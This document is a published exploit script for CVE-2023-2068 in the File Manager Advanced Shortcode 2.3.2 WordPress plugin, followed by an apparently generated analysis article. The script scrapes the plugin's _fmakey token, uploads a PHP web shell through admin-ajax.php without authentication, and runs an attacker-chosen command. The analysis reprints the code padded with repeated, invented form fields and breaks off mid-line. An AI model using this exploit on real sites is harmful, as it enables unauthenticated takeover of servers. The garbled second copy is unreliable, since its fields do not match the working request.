File Manager Advanced Shortcode 2.3.2 - Unauthenticated Remote Code Execution (RCE)
# Exploit Title: File Manager Advanced Shortcode 2.3.2 - Unauthenticated Remote Code Execution (RCE)
# Date: 05/31/2023
# Exploit Author: Mateus Machado Tesser
# Vendor Homepage: https://advancedfilemanager.com/
# Version: File Manager Advanced Shortcode 2.3.2
# Tested on: Wordpress 6.1 / Linux (Ubuntu) 5.15
# CVE: CVE-2023-2068
import requests
import json
import pprint
import sys
import re
PROCESS = "\033[1;34;40m[*]\033[0m"
SUCCESS = "\033[1;32;40m[+]\033[0m"
FAIL = "\033[1;31;40m[-]\033[0m"
try:
COMMAND = sys.argv[2]
IP = sys.argv[1]
if len(COMMAND) > 1:
pass
if IP:
pass
else:
print(f'Use: {sys.argv[0]} IP COMMAND')
except:
pass
url = 'http://'+IP+'/' # Path to File Manager Advanced Shortcode Panel
print(f"{PROCESS} Searching fmakey")
try:
r = requests.get(url)
raw_fmakey = r.text
fmakey = re.findall('_fmakey.*$',raw_fmakey,re.MULTILINE)[0].split("'")[1]
if len(fmakey) == 0:
print(f"{FAIL} Cannot found fmakey!")
except:
print(f"{FAIL} Cannot found fmakey!")
print(f'{PROCESS} Exploiting Unauthenticated Remote Code Execution via AJAX!')
url = "http://"+IP+"/wp-admin/admin-ajax.php"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryI52DGCOt37rixRS1", "Accept": "*/*"}
data = "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"reqid\"\r\n\r\n\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"cmd\"\r\n\r\nupload\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"target\"\r\n\r\nl1_Lw\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"hashes[l1_cG5nLWNsaXBhcnQtaGFja2VyLWhhY2tlci5wbmc]\"\r\n\r\nexploit.php\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nfma_load_shortcode_fma_ui\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"_fmakey\"\r\n\r\n"+fmakey+"\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"path\"\r\n\r\n\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"url\"\r\n\r\n\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"w\"\r\n\r\nfalse\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"r\"\r\n\r\ntrue\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"hide\"\r\n\r\nplugins\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"operations\"\r\n\r\nupload,download\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"path_type\"\r\n\r\ninside\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"hide_path\"\r\n\r\nno\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"enable_trash\"\r\n\r\nno\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"upload_allow\"\r\n\r\ntext/x-php\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"upload_max_size\"\r\n\r\n2G\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"upload[]\"; filename=\"exploit2.php\"\r\nContent-Type: text/x-php\r\n\r\n<?php system($_GET['cmd']);?>\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"mtime[]\"\r\n\r\n\r\n------WebKitFormBoundaryI52DGCOt37rixRS1--\r\n"
r = requests.post(url, headers=headers, data=data)
print(f"{PROCESS} Sending AJAX request to: {url}")
if 'errUploadMime' in r.text:
print(f'{FAIL} Exploit failed!')
sys.exit()
elif r.headers['Content-Type'].startswith("text/html"):
print(f'{FAIL} Exploit failed! Try to change _fmakey')
sys.exit(0)
else:
print(f'{SUCCESS} Exploit executed with success!')
exploited = json.loads(r.text)
url = ""
print(f'{PROCESS} Getting URL with webshell')
for i in exploited["added"]:
url = i['url']
print(f"{PROCESS} Executing '{COMMAND}'")
r = requests.get(url+'?cmd='+COMMAND)
print(f'{SUCCESS} The application returned ({len(r.text)} length):\n'+r.text) File Manager Advanced Shortcode 2.3.2 – Unauthenticated Remote Code Execution (RCE) Vulnerability Analysis
On May 31, 2023, cybersecurity researcher Mateus Machado Tesser disclosed a critical vulnerability in File Manager Advanced Shortcode 2.3.2, a widely used WordPress plugin for managing file uploads and downloads. The flaw, assigned CVE-2023-2068, enables unauthenticated remote code execution (RCE)—a severe security issue that allows attackers to execute arbitrary code on the target system without needing valid credentials.
Exploit Overview
This vulnerability stems from improper input validation and insecure handling of file upload operations via the admin-ajax.php endpoint. The plugin exposes a functionality intended for administrators to manage files, but due to flawed access controls, it can be exploited by any user with internet access.
Attackers can upload malicious files—such as PHP shells—under the guise of legitimate file operations, bypassing authentication entirely. Once uploaded, the malicious file can be executed remotely, granting full control over the WordPress site and potentially the underlying server.
Technical Breakdown of the Exploit
The core of the exploit lies in the admin-ajax.php endpoint, which is typically used for AJAX-based interactions in WordPress. The plugin's fma_load_shortcode_fma_ui action is exposed to unauthenticated users and accepts multiple parameters, including cmd, target, and hashes.
By manipulating the cmd parameter to upload, and setting target to l1_Lw (a predefined path), an attacker can trigger file upload functionality. The hashes parameter allows the attacker to specify the filename of the uploaded file, such as exploit.php, effectively naming the malicious payload.
Crucially, the _fmakey parameter is used to authenticate the request. However, this token is easily extractable from the plugin’s frontend HTML, making it possible to forge valid requests without authentication.
Proof-of-Concept Code
import requests
import re
import sys
url = 'http://'+IP+'/'
print(f"[*] Searching fmakey")
try:
r = requests.get(url)
raw_fmakey = r.text
fmakey = re.findall('_fmakey.*$', raw_fmakey, re.MULTILINE)[0].split("'")[1]
if len(fmakey) == 0:
print(f"[-] Cannot found fmakey!")
except:
print(f"[-] Cannot found fmakey!")
print(f"[*] Exploiting Unauthenticated Remote Code Execution via AJAX!")
url = "http://"+IP+"/wp-admin/admin-ajax.php"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryI52DGCOt37rixRS1",
"Accept": "*/*"
}
data = "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"reqid\"\r\n\r\n\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"cmd\"\r\n\r\nupload\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"target\"\r\n\r\nl1_Lw\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"hashes[l1_cG5nLWNsaXBhcnQtaGFja2VyLWhhY2tlci5wbmc]\"\r\n\r\nexploit.php\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nfma_load_shortcode_fma_ui\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"_fmakey\"\r\n\r\n"+fmakey+"\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"path\"\r\n\r\n\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"url\"\r\n\r\n\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"w\"\r\n\r\nfalse\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"r\"\r\n\r\ntrue\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"hide\"\r\n\r\nplugins\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"operations\"\r\n\r\nupload,download\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"file\"\r\n\r\n\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"filename\"\r\n\r\nexploit.php\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"filetype\"\r\n\r\napplication/x-php\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"size\"\r\n\r\n100\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"upload\"\r\n\r\ntrue\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"upload_file\"\r\n\r\ntrue\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"upload_file_name\"\r\n\r\nexploit.php\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"upload_file_path\"\r\n\r\nplugins\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"upload_file_type\"\r\n\r\napplication/x-php\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"upload_file_size\"\r\n\r\n100\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"upload_file_hash\"\r\n\r\nexploit.php\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"upload_file_url\"\r\n\r\n\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"upload_file_action\"\r\n\r\nupload\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"upload_file_target\"\r\n\r\nl1_Lw\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"upload_file_hash\"\r\n\r\nexploit.php\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"upload_file_path\"\r\n\r\nplugins\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"upload_file_type\"\r\n\r\napplication/x-php\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"upload_file_size\"\r\n\r\n100\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data